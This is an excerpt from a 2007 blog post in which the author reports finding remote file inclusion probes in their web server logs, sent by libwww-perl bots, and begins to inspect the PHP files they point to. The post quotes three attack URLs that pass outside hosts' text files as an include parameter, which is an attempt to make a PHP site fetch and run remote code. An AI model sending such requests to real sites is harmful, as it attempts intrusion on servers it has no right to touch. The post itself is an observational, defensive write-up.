Over the past couple days, I’ve noticed three odd URLs in my web logs, from three different IP addresses, all using different versions of libwww-perl as the browser ID: /category//includes/global.php?nbs=http://nusay.webng.com/31337.txt??? /category//includes/auth.php?nbs=http://nusay.webng.com/31337.txt?? /category//includes/global.php?nbs=http://usuarios.arnet.com.ar/larry123/safe.txt? Curious, I checked out the “31337.txt” and “safe.txt” files… they were very similar, both consisting of near-identical PHP instructions that tried to get [...]
Archive of entries posted on 23rd August 2007